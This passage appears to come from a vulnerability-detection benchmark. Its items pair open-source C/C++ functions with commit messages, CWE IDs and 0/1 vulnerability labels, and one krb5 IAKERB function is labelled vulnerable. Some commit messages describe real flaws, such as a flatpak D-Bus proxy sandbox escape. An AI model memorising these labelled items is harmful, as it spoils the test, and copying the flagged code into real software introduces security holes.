Change-Id: I971fa7076f72d51829b36af8e379260d48ca25ec
Reviewed-on: https://chromium-review.googlesource.com/c/1450235
Commit-Queue: Aaron Leventhal <aleventhal@chromium.org>
Reviewed-by: Nektarios Paisios <nektar@chromium.org>
Cr-Commit-Position: refs/heads/master@{#628890}
CWE ID: CWE-190 | 0 | 130,277 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void LayerTreeCoordinator::notifySyncRequired(const WebCore::GraphicsLayer*)
{
}
Commit Message: [WK2] LayerTreeCoordinator should release unused UpdatedAtlases
https://bugs.webkit.org/show_bug.cgi?id=95072
Reviewed by Jocelyn Turcotte.
Release graphic buffers that haven't been used for a while in order to save memory.
This way we can give back memory to the system when no user interaction happens
after a period of time, for example when we are in the background.
* Shared/ShareableBitmap.h:
* WebProcess/WebPage/CoordinatedGraphics/LayerTreeCoordinator.cpp:
(WebKit::LayerTreeCoordinator::LayerTreeCoordinator):
(WebKit::LayerTreeCoordinator::beginContentUpdate):
(WebKit):
(WebKit::LayerTreeCoordinator::scheduleReleaseInactiveAtlases):
(WebKit::LayerTreeCoordinator::releaseInactiveAtlasesTimerFired):
* WebProcess/WebPage/CoordinatedGraphics/LayerTreeCoordinator.h:
(LayerTreeCoordinator):
* WebProcess/WebPage/UpdateAtlas.cpp:
(WebKit::UpdateAtlas::UpdateAtlas):
(WebKit::UpdateAtlas::didSwapBuffers):
Don't call buildLayoutIfNeeded here. It's enought to call it in beginPaintingOnAvailableBuffer
and this way we can track whether this atlas is used with m_areaAllocator.
(WebKit::UpdateAtlas::beginPaintingOnAvailableBuffer):
* WebProcess/WebPage/UpdateAtlas.h:
(WebKit::UpdateAtlas::addTimeInactive):
(WebKit::UpdateAtlas::isInactive):
(WebKit::UpdateAtlas::isInUse):
(UpdateAtlas):
git-svn-id: svn://svn.chromium.org/blink/trunk@128473 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20 | 0 | 97,593 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int tg3_suspend(struct device *device)
{
struct pci_dev *pdev = to_pci_dev(device);
struct net_device *dev = pci_get_drvdata(pdev);
struct tg3 *tp = netdev_priv(dev);
int err;
if (!netif_running(dev))
return 0;
tg3_reset_task_cancel(tp);
tg3_phy_stop(tp);
tg3_netif_stop(tp);
tg3_timer_stop(tp);
tg3_full_lock(tp, 1);
tg3_disable_ints(tp);
tg3_full_unlock(tp);
netif_device_detach(dev);
tg3_full_lock(tp, 0);
tg3_halt(tp, RESET_KIND_SHUTDOWN, 1);
tg3_flag_clear(tp, INIT_COMPLETE);
tg3_full_unlock(tp);
err = tg3_power_down_prepare(tp);
if (err) {
int err2;
tg3_full_lock(tp, 0);
tg3_flag_set(tp, INIT_COMPLETE);
err2 = tg3_restart_hw(tp, 1);
if (err2)
goto out;
tg3_timer_start(tp);
netif_device_attach(dev);
tg3_netif_start(tp);
out:
tg3_full_unlock(tp);
if (!err2)
tg3_phy_start(tp);
}
return err;
}
Commit Message: tg3: fix length overflow in VPD firmware parsing
Commit 184b89044fb6e2a74611dafa69b1dce0d98612c6 ("tg3: Use VPD fw version
when present") introduced VPD parsing that contained a potential length
overflow.
Limit the hardware's reported firmware string length (max 255 bytes) to
stay inside the driver's firmware string length (32 bytes). On overflow,
truncate the formatted firmware string instead of potentially overwriting
portions of the tg3 struct.
http://cansecwest.com/slides/2013/PrivateCore%20CSW%202013.pdf
Signed-off-by: Kees Cook <keescook@chromium.org>
Reported-by: Oded Horovitz <oded@privatecore.com>
Reported-by: Brad Spengler <spender@grsecurity.net>
Cc: stable@vger.kernel.org
Cc: Matt Carlson <mcarlson@broadcom.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-119 | 0 | 32,772 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ExtensionPrefs::ExtensionPrefs(
PrefService* prefs,
const FilePath& root_dir,
ExtensionPrefValueMap* extension_pref_value_map)
: prefs_(prefs),
install_directory_(root_dir),
extension_pref_value_map_(extension_pref_value_map),
content_settings_store_(new ExtensionContentSettingsStore()) {
CleanupBadExtensionKeys(root_dir, prefs_);
MakePathsRelative();
InitPrefStore();
content_settings_store_->AddObserver(this);
}
Commit Message: Coverity: Add a missing NULL check.
BUG=none
TEST=none
CID=16813
Review URL: http://codereview.chromium.org/7216034
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89991 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119 | 0 | 98,404 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void InputHandler::SynthesizeTapGesture(
double x,
double y,
Maybe<int> duration,
Maybe<int> tap_count,
Maybe<std::string> gesture_source_type,
std::unique_ptr<SynthesizeTapGestureCallback> callback) {
if (!host_ || !host_->GetRenderWidgetHost()) {
callback->sendFailure(Response::InternalError());
return;
}
SyntheticTapGestureParams gesture_params;
const int kDefaultDuration = 50;
const int kDefaultTapCount = 1;
gesture_params.position = CssPixelsToPointF(x, y, page_scale_factor_);
if (!PointIsWithinContents(gesture_params.position)) {
callback->sendFailure(Response::InvalidParams("Position out of bounds"));
return;
}
gesture_params.duration_ms = duration.fromMaybe(kDefaultDuration);
if (!StringToGestureSourceType(
std::move(gesture_source_type),
gesture_params.gesture_source_type)) {
callback->sendFailure(
Response::InvalidParams("Unknown gestureSourceType"));
return;
}
int count = tap_count.fromMaybe(kDefaultTapCount);
if (!count) {
callback->sendSuccess();
return;
}
TapGestureResponse* response =
new TapGestureResponse(std::move(callback), count);
for (int i = 0; i < count; i++) {
host_->GetRenderWidgetHost()->QueueSyntheticGesture(
SyntheticGesture::Create(gesture_params),
base::BindOnce(&TapGestureResponse::OnGestureResult,
base::Unretained(response)));
}
}
Commit Message: DevTools: speculative fix for crash in NetworkHandler::Disable
This keeps BrowserContext* and StoragePartition* instead of
RenderProcessHost* in an attemp to resolve UAF of RenderProcessHost
upon closure of DevTools front-end.
Bug: 801117, 783067, 780694
Change-Id: I6c2cca60cc0c29f0949d189cf918769059f80c1b
Reviewed-on: https://chromium-review.googlesource.com/876657
Commit-Queue: Andrey Kosyakov <caseq@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Cr-Commit-Position: refs/heads/master@{#531157}
CWE ID: CWE-20 | 0 | 148,482 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: string16 Browser::GetWindowTitleForCurrentTab() const {
TabContents* contents = GetSelectedTabContents();
string16 title;
if (contents) {
title = contents->GetTitle();
FormatTitleForDisplay(&title);
}
if (title.empty())
title = TabContentsWrapper::GetDefaultTitle();
#if defined(OS_MACOSX) || defined(OS_CHROMEOS)
return title;
#elif defined(OS_WIN) || defined(OS_LINUX)
int string_id = IDS_BROWSER_WINDOW_TITLE_FORMAT;
if (type_ & TYPE_APP)
string_id = IDS_BROWSER_WINDOW_TITLE_FORMAT_NO_LOGO;
return l10n_util::GetStringFUTF16(string_id, title);
#endif
}
Commit Message: chromeos: fix bug where "aw snap" page replaces first tab if it was a NTP when closing window with > 1 tab.
BUG=chromium-os:12088
TEST=verify bug per bug report.
Review URL: http://codereview.chromium.org/6882058
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@83031 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20 | 0 | 98,244 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static ssize_t ocfs2_file_dedupe_range(struct file *src_file,
u64 loff,
u64 len,
struct file *dst_file,
u64 dst_loff)
{
int error;
error = ocfs2_reflink_remap_range(src_file, loff, dst_file, dst_loff,
len, true);
if (error)
return error;
return len;
}
Commit Message: ocfs2: should wait dio before inode lock in ocfs2_setattr()
we should wait dio requests to finish before inode lock in
ocfs2_setattr(), otherwise the following deadlock will happen:
process 1 process 2 process 3
truncate file 'A' end_io of writing file 'A' receiving the bast messages
ocfs2_setattr
ocfs2_inode_lock_tracker
ocfs2_inode_lock_full
inode_dio_wait
__inode_dio_wait
-->waiting for all dio
requests finish
dlm_proxy_ast_handler
dlm_do_local_bast
ocfs2_blocking_ast
ocfs2_generic_handle_bast
set OCFS2_LOCK_BLOCKED flag
dio_end_io
dio_bio_end_aio
dio_complete
ocfs2_dio_end_io
ocfs2_dio_end_io_write
ocfs2_inode_lock
__ocfs2_cluster_lock
ocfs2_wait_for_mask
-->waiting for OCFS2_LOCK_BLOCKED
flag to be cleared, that is waiting
for 'process 1' unlocking the inode lock
inode_dio_end
-->here dec the i_dio_count, but will never
be called, so a deadlock happened.
Link: http://lkml.kernel.org/r/59F81636.70508@huawei.com
Signed-off-by: Alex Chen <alex.chen@huawei.com>
Reviewed-by: Jun Piao <piaojun@huawei.com>
Reviewed-by: Joseph Qi <jiangqi903@gmail.com>
Acked-by: Changwei Ge <ge.changwei@h3c.com>
Cc: Mark Fasheh <mfasheh@versity.com>
Cc: Joel Becker <jlbec@evilplan.org>
Cc: Junxiao Bi <junxiao.bi@oracle.com>
Cc: <stable@vger.kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: | 0 | 85,800 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: std::unique_ptr<WebURLLoader> FrameFetchContext::CreateURLLoader(
const ResourceRequest& request,
const ResourceLoaderOptions& options) {
DCHECK(!IsDetached());
WrappedResourceRequest webreq(request);
network::mojom::blink::URLLoaderFactoryPtr url_loader_factory;
if (options.url_loader_factory) {
options.url_loader_factory->data->Clone(MakeRequest(&url_loader_factory));
}
if (document_ && request.Url().ProtocolIs("blob") &&
BlobUtils::MojoBlobURLsEnabled() && !url_loader_factory &&
request.GetRequestContext() !=
WebURLRequest::kRequestContextSharedWorker) {
document_->GetPublicURLManager().Resolve(request.Url(),
MakeRequest(&url_loader_factory));
}
if (url_loader_factory) {
return Platform::Current()
->WrapURLLoaderFactory(url_loader_factory.PassInterface().PassHandle())
->CreateURLLoader(webreq, CreateResourceLoadingTaskRunnerHandle());
}
if (MasterDocumentLoader()->GetServiceWorkerNetworkProvider()) {
auto loader =
MasterDocumentLoader()
->GetServiceWorkerNetworkProvider()
->CreateURLLoader(webreq, CreateResourceLoadingTaskRunnerHandle());
if (loader)
return loader;
}
return GetFrame()->GetURLLoaderFactory()->CreateURLLoader(
webreq, CreateResourceLoadingTaskRunnerHandle());
}
Commit Message: Do not forward resource timing to parent frame after back-forward navigation
LocalFrame has |should_send_resource_timing_info_to_parent_| flag not to
send timing info to parent except for the first navigation. This flag is
cleared when the first timing is sent to parent, however this does not happen
if iframe's first navigation was by back-forward navigation. For such
iframes, we shouldn't send timings to parent at all.
Bug: 876822
Change-Id: I128b51a82ef278c439548afc8283ae63abdef5c5
Reviewed-on: https://chromium-review.googlesource.com/1186215
Reviewed-by: Kinuko Yasuda <kinuko@chromium.org>
Commit-Queue: Kunihiko Sakamoto <ksakamoto@chromium.org>
Cr-Commit-Position: refs/heads/master@{#585736}
CWE ID: CWE-200 | 0 | 145,791 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: inline void HTMLInputElement::removeFromRadioButtonGroup()
{
if (CheckedRadioButtons* buttons = checkedRadioButtons())
buttons->removeButton(this);
}
Commit Message: Setting input.x-webkit-speech should not cause focus change
In r150866, we introduced element()->focus() in destroyShadowSubtree()
to retain focus on <input> when its type attribute gets changed.
But when x-webkit-speech attribute is changed, the element is detached
before calling destroyShadowSubtree() and element()->focus() failed
This patch moves detach() after destroyShadowSubtree() to fix the
problem.
BUG=243818
TEST=fast/forms/input-type-change-focusout.html
NOTRY=true
Review URL: https://chromiumcodereview.appspot.com/16084005
git-svn-id: svn://svn.chromium.org/blink/trunk@151444 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20 | 0 | 112,970 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: flatpak_proxy_client_update_unique_id_policy (FlatpakProxyClient *client,
const char *unique_id,
FlatpakPolicy policy)
{
if (policy > FLATPAK_POLICY_NONE)
{
FlatpakPolicy old_policy;
old_policy = GPOINTER_TO_UINT (g_hash_table_lookup (client->unique_id_policy, unique_id));
if (policy > old_policy)
g_hash_table_replace (client->unique_id_policy, g_strdup (unique_id), GINT_TO_POINTER (policy));
}
}
Commit Message: Fix vulnerability in dbus proxy
During the authentication all client data is directly forwarded
to the dbus daemon as is, until we detect the BEGIN command after
which we start filtering the binary dbus protocol.
Unfortunately the detection of the BEGIN command in the proxy
did not exactly match the detection in the dbus daemon. A BEGIN
followed by a space or tab was considered ok in the daemon but
not by the proxy. This could be exploited to send arbitrary
dbus messages to the host, which can be used to break out of
the sandbox.
This was noticed by Gabriel Campana of The Google Security Team.
This fix makes the detection of the authentication phase end
match the dbus code. In addition we duplicate the authentication
line validation from dbus, which includes ensuring all data is
ASCII, and limiting the size of a line to 16k. In fact, we add
some extra stringent checks, disallowing ASCII control chars and
requiring that auth lines start with a capital letter.
CWE ID: CWE-436 | 0 | 84,378 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: lt_dlexit ()
{
/* shut down libltdl */
lt_dlloader *loader;
int errors = 0;
LT_DLMUTEX_LOCK ();
loader = loaders;
if (!initialized)
{
LT_DLMUTEX_SETERROR (LT_DLSTRERROR (SHUTDOWN));
++errors;
goto done;
}
/* shut down only at last call. */
if (--initialized == 0)
{
int level;
while (handles && LT_DLIS_RESIDENT (handles))
{
handles = handles->next;
}
/* close all modules */
for (level = 1; handles; ++level)
{
lt_dlhandle cur = handles;
int saw_nonresident = 0;
while (cur)
{
lt_dlhandle tmp = cur;
cur = cur->next;
if (!LT_DLIS_RESIDENT (tmp))
saw_nonresident = 1;
if (!LT_DLIS_RESIDENT (tmp) && tmp->info.ref_count <= level)
{
if (lt_dlclose (tmp))
{
++errors;
}
/* Make sure that the handle pointed to by 'cur' still exists.
lt_dlclose recursively closes dependent libraries which removes
them from the linked list. One of these might be the one
pointed to by 'cur'. */
if (cur)
{
for (tmp = handles; tmp; tmp = tmp->next)
if (tmp == cur)
break;
if (! tmp)
cur = handles;
}
}
}
/* done if only resident modules are left */
if (!saw_nonresident)
break;
}
/* close all loaders */
while (loader)
{
lt_dlloader *next = loader->next;
lt_user_data data = loader->dlloader_data;
if (loader->dlloader_exit && loader->dlloader_exit (data))
{
++errors;
}
LT_DLMEM_REASSIGN (loader, next);
}
loaders = 0;
}
done:
LT_DLMUTEX_UNLOCK ();
return errors;
}
Commit Message:
CWE ID: | 0 | 699 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static bool EnabledPaste(LocalFrame& frame,
Event*,
EditorCommandSource source) {
if (!CanReadClipboard(frame, source))
return false;
if (source == kCommandFromMenuOrKeyBinding &&
!frame.Selection().SelectionHasFocus())
return false;
return frame.GetEditor().CanPaste();
}
Commit Message: Move Editor::Transpose() out of Editor class
This patch moves |Editor::Transpose()| out of |Editor| class as preparation of
expanding it into |ExecutTranspose()| in "EditorCommand.cpp" to make |Editor|
class simpler for improving code health.
Following patch will expand |Transpose()| into |ExecutTranspose()|.
Bug: 672405
Change-Id: Icde253623f31813d2b4517c4da7d4798bd5fadf6
Reviewed-on: https://chromium-review.googlesource.com/583880
Reviewed-by: Xiaocheng Hu <xiaochengh@chromium.org>
Commit-Queue: Yoshifumi Inoue <yosin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#489518}
CWE ID: | 0 | 128,488 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void stop_tty(struct tty_struct *tty)
{
unsigned long flags;
spin_lock_irqsave(&tty->flow_lock, flags);
__stop_tty(tty);
spin_unlock_irqrestore(&tty->flow_lock, flags);
}
Commit Message: tty: Fix unsafe ldisc reference via ioctl(TIOCGETD)
ioctl(TIOCGETD) retrieves the line discipline id directly from the
ldisc because the line discipline id (c_line) in termios is untrustworthy;
userspace may have set termios via ioctl(TCSETS*) without actually
changing the line discipline via ioctl(TIOCSETD).
However, directly accessing the current ldisc via tty->ldisc is
unsafe; the ldisc ptr dereferenced may be stale if the line discipline
is changing via ioctl(TIOCSETD) or hangup.
Wait for the line discipline reference (just like read() or write())
to retrieve the "current" line discipline id.
Cc: <stable@vger.kernel.org>
Signed-off-by: Peter Hurley <peter@hurleysoftware.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-362 | 0 | 55,887 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool BrowserWindowGtk::IsTabStripEditable() const {
return !tabstrip()->IsDragSessionActive() &&
!tabstrip()->IsActiveDropTarget();
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20 | 0 | 117,969 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: xsltParseStylesheetParam(xsltTransformContextPtr ctxt, xmlNodePtr cur)
{
#ifdef XSLT_REFACTORED
xsltStyleItemParamPtr comp;
#else
xsltStylePreCompPtr comp;
#endif
if ((cur == NULL) || (ctxt == NULL) || (cur->type != XML_ELEMENT_NODE))
return;
comp = cur->psvi;
if ((comp == NULL) || (comp->name == NULL)) {
xsltTransformError(ctxt, NULL, cur,
"Internal error in xsltParseStylesheetParam(): "
"The XSLT 'param' declaration was not compiled correctly.\n");
return;
}
#ifdef WITH_XSLT_DEBUG_VARIABLE
XSLT_TRACE(ctxt,XSLT_TRACE_VARIABLES,xsltGenericDebug(xsltGenericDebugContext,
"Registering param %s\n", comp->name));
#endif
xsltRegisterVariable(ctxt, (xsltStylePreCompPtr) comp, cur->children, 1);
}
Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7
BUG=583156,583171
Review URL: https://codereview.chromium.org/1853083002
Cr-Commit-Position: refs/heads/master@{#385338}
CWE ID: CWE-119 | 0 | 156,865 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void write_and_free(conn *c, char *buf, int bytes) {
if (buf) {
c->write_and_free = buf;
c->wcurr = buf;
c->wbytes = bytes;
conn_set_state(c, conn_write);
c->write_and_go = conn_new_cmd;
} else {
out_of_memory(c, "SERVER_ERROR out of memory writing stats");
}
}
Commit Message: Don't overflow item refcount on get
Counts as a miss if the refcount is too high. ASCII multigets are the only
time refcounts can be held for so long.
doing a dirty read of refcount. is aligned.
trying to avoid adding an extra refcount branch for all calls of item_get due
to performance. might be able to move it in there after logging refactoring
simplifies some of the branches.
CWE ID: CWE-190 | 0 | 75,222 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Browser::EmailPageLocation() {
UserMetrics::RecordAction(UserMetricsAction("EmailPageLocation"));
TabContents* tc = GetSelectedTabContents();
DCHECK(tc);
std::string title = EscapeQueryParamValue(UTF16ToUTF8(tc->GetTitle()), false);
std::string page_url = EscapeQueryParamValue(tc->GetURL().spec(), false);
std::string mailto = std::string("mailto:?subject=Fwd:%20") +
title + "&body=%0A%0A" + page_url;
platform_util::OpenExternal(GURL(mailto));
}
Commit Message: Implement a bubble that appears at the top of the screen when a tab enters
fullscreen mode via webkitRequestFullScreen(), telling the user how to exit
fullscreen.
This is implemented as an NSView rather than an NSWindow because the floating
chrome that appears in presentation mode should overlap the bubble.
Content-initiated fullscreen mode makes use of 'presentation mode' on the Mac:
the mode in which the UI is hidden, accessible by moving the cursor to the top
of the screen. On Snow Leopard, this mode is synonymous with fullscreen mode.
On Lion, however, fullscreen mode does not imply presentation mode: in
non-presentation fullscreen mode, the chrome is permanently shown. It is
possible to switch between presentation mode and fullscreen mode using the
presentation mode UI control.
When a tab initiates fullscreen mode on Lion, we enter presentation mode if not
in presentation mode already. When the user exits fullscreen mode using Chrome
UI (i.e. keyboard shortcuts, menu items, buttons, switching tabs, etc.) we
return the user to the mode they were in before the tab entered fullscreen.
BUG=14471
TEST=Enter fullscreen mode using webkitRequestFullScreen. You should see a bubble pop down from the top of the screen.
Need to test the Lion logic somehow, with no Lion trybots.
BUG=96883
Original review http://codereview.chromium.org/7890056/
TBR=thakis
Review URL: http://codereview.chromium.org/7920024
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@101624 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119 | 0 | 97,191 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: iakerb_gss_delete_sec_context(OM_uint32 *minor_status,
gss_ctx_id_t *context_handle,
gss_buffer_t output_token)
{
OM_uint32 major_status = GSS_S_COMPLETE;
if (output_token != GSS_C_NO_BUFFER) {
output_token->length = 0;
output_token->value = NULL;
}
*minor_status = 0;
if (*context_handle != GSS_C_NO_CONTEXT) {
iakerb_ctx_id_t iakerb_ctx = (iakerb_ctx_id_t)*context_handle;
if (iakerb_ctx->magic == KG_IAKERB_CONTEXT) {
iakerb_release_context(iakerb_ctx);
*context_handle = GSS_C_NO_CONTEXT;
} else {
assert(iakerb_ctx->magic == KG_CONTEXT);
major_status = krb5_gss_delete_sec_context(minor_status,
context_handle,
output_token);
}
}
return major_status;
}
Commit Message: Fix IAKERB context aliasing bugs [CVE-2015-2696]
The IAKERB mechanism currently replaces its context handle with the
krb5 mechanism handle upon establishment, under the assumption that
most GSS functions are only called after context establishment. This
assumption is incorrect, and can lead to aliasing violations for some
programs. Maintain the IAKERB context structure after context
establishment and add new IAKERB entry points to refer to it with that
type. Add initiate and established flags to the IAKERB context
structure for use in gss_inquire_context() prior to context
establishment.
CVE-2015-2696:
In MIT krb5 1.9 and later, applications which call
gss_inquire_context() on a partially-established IAKERB context can
cause the GSS-API library to read from a pointer using the wrong type,
generally causing a process crash. Java server applications using the
native JGSS provider are vulnerable to this bug. A carefully crafted
IAKERB packet might allow the gss_inquire_context() call to succeed
with attacker-determined results, but applications should not make
access control decisions based on gss_inquire_context() results prior
to context establishment.
CVSSv2 Vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C
[ghudson@mit.edu: several bugfixes, style changes, and edge-case
behavior changes; commit message and CVE description]
ticket: 8244
target_version: 1.14
tags: pullup
CWE ID: CWE-18 | 1 | 166,645 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int main(int argc, char *argv[])
{
int n, fd;
bool gotone = false;
char *me;
char *nicname = alloca(40);
char *cnic = NULL; // created nic name in container is returned here.
char *vethname = NULL;
int pid;
struct alloted_s *alloted = NULL;
/* set a sane env, because we are setuid-root */
if (clearenv() < 0) {
fprintf(stderr, "Failed to clear environment");
exit(1);
}
if (setenv("PATH", "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", 1) < 0) {
fprintf(stderr, "Failed to set PATH, exiting\n");
exit(1);
}
if ((me = get_username()) == NULL) {
fprintf(stderr, "Failed to get username\n");
exit(1);
}
if (argc < 6)
usage(argv[0], true);
if (argc >= 7)
vethname = argv[6];
lxcpath = argv[1];
lxcname = argv[2];
errno = 0;
pid = (int) strtol(argv[3], NULL, 10);
if (errno) {
fprintf(stderr, "Could not read pid: %s\n", argv[1]);
exit(1);
}
if (!create_db_dir(LXC_USERNIC_DB)) {
fprintf(stderr, "Failed to create directory for db file\n");
exit(1);
}
if ((fd = open_and_lock(LXC_USERNIC_DB)) < 0) {
fprintf(stderr, "Failed to lock %s\n", LXC_USERNIC_DB);
exit(1);
}
if (!may_access_netns(pid)) {
fprintf(stderr, "User %s may not modify netns for pid %d\n",
me, pid);
exit(1);
}
n = get_alloted(me, argv[4], argv[5], &alloted);
if (n > 0)
gotone = get_nic_if_avail(fd, alloted, pid, argv[4], argv[5], n, &nicname, &cnic);
close(fd);
free_alloted(&alloted);
if (!gotone) {
fprintf(stderr, "Quota reached\n");
exit(1);
}
if (rename_in_ns(pid, cnic, &vethname) < 0) {
fprintf(stderr, "Failed to rename the link\n");
exit(1);
}
fprintf(stdout, "%s:%s\n", vethname, nicname);
exit(0);
}
Commit Message: CVE-2017-5985: Ensure target netns is caller-owned
Before this commit, lxc-user-nic could potentially have been tricked into
operating on a network namespace over which the caller did not hold privilege.
This commit ensures that the caller is privileged over the network namespace by
temporarily dropping privilege.
Launchpad: https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1654676
Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
CWE ID: CWE-862 | 0 | 68,459 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void LocalSiteCharacteristicsDataImpl::OnInitCallback(
base::Optional<SiteCharacteristicsProto> db_site_characteristics) {
DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
if (db_site_characteristics) {
auto this_features = GetAllFeaturesFromProto(&site_characteristics_);
auto db_features =
GetAllFeaturesFromProto(&db_site_characteristics.value());
auto this_features_iter = this_features.begin();
auto db_features_iter = db_features.begin();
for (; this_features_iter != this_features.end() &&
db_features_iter != db_features.end();
++this_features_iter, ++db_features_iter) {
if (!(*this_features_iter)->has_use_timestamp()) {
if ((*db_features_iter)->has_use_timestamp()) {
(*this_features_iter)
->set_use_timestamp((*db_features_iter)->use_timestamp());
(*this_features_iter)
->set_observation_duration(
LocalSiteCharacteristicsDataImpl::
TimeDeltaToInternalRepresentation(base::TimeDelta()));
} else {
if (!(*this_features_iter)->has_observation_duration()) {
(*this_features_iter)
->set_observation_duration(
LocalSiteCharacteristicsDataImpl::
TimeDeltaToInternalRepresentation(base::TimeDelta()));
}
IncrementFeatureObservationDuration(
(*this_features_iter),
InternalRepresentationToTimeDelta(
(*db_features_iter)->observation_duration()));
}
}
}
if (!site_characteristics_.has_last_loaded()) {
site_characteristics_.set_last_loaded(
db_site_characteristics->last_loaded());
}
} else {
InitWithDefaultValues(true /* only_init_uninitialized_fields */);
}
safe_to_write_to_db_ = true;
DCHECK(site_characteristics_.IsInitialized());
}
Commit Message: Connect the LocalDB to TabManager.
Bug: 773382
Change-Id: Iec8fe5226ee175105d51f300f30b4865478ac099
Reviewed-on: https://chromium-review.googlesource.com/1118611
Commit-Queue: Sébastien Marchand <sebmarchand@chromium.org>
Reviewed-by: François Doray <fdoray@chromium.org>
Cr-Commit-Position: refs/heads/master@{#572871}
CWE ID: | 0 | 132,063 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: BOOLEAN ParaNdis_CheckForHang(PARANDIS_ADAPTER *pContext)
{
static int nHangOn = 0;
BOOLEAN b = nHangOn >= 3 && nHangOn < 6;
DEBUG_ENTRY(3);
b |= CheckRunningDpc(pContext);
DEBUG_EXIT_STATUS(b ? 0 : 6, b);
return b;
}
Commit Message: NetKVM: BZ#1169718: More rigoruous testing of incoming packet
Signed-off-by: Joseph Hindin <yhindin@rehat.com>
CWE ID: CWE-20 | 0 | 74,363 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void InputMethodController::ContextDestroyed(Document*) {
Clear();
composition_range_ = nullptr;
}
Commit Message: Move SelectionTemplate::is_handle_visible_ to FrameSelection
This patch moves |is_handle_visible_| to |FrameSelection| from |SelectionTemplate|
since handle visibility is used only for setting |FrameSelection|, hence it is
a redundant member variable of |SelectionTemplate|.
Bug: 742093
Change-Id: I3add4da3844fb40be34dcb4d4b46b5fa6fed1d7e
Reviewed-on: https://chromium-review.googlesource.com/595389
Commit-Queue: Yoshifumi Inoue <yosin@chromium.org>
Reviewed-by: Xiaocheng Hu <xiaochengh@chromium.org>
Reviewed-by: Kent Tamura <tkent@chromium.org>
Cr-Commit-Position: refs/heads/master@{#491660}
CWE ID: CWE-119 | 0 | 124,863 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Block::SetKey(bool bKey) {
if (bKey)
m_flags |= static_cast<unsigned char>(1 << 7);
else
m_flags &= 0x7F;
}
Commit Message: external/libvpx/libwebm: Update snapshot
Update libwebm snapshot. This update contains security fixes from upstream.
Upstream git hash: 229f49347d19b0ca0941e072b199a242ef6c5f2b
BUG=23167726
Change-Id: Id3e140e7b31ae11294724b1ecfe2e9c83b4d4207
(cherry picked from commit d0281a15b3c6bd91756e453cc9398c5ef412d99a)
CWE ID: CWE-20 | 0 | 160,841 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static __net_exit void inet_exit_net(struct net *net)
{
}
Commit Message: net: add validation for the socket syscall protocol argument
郭永刚 reported that one could simply crash the kernel as root by
using a simple program:
int socket_fd;
struct sockaddr_in addr;
addr.sin_port = 0;
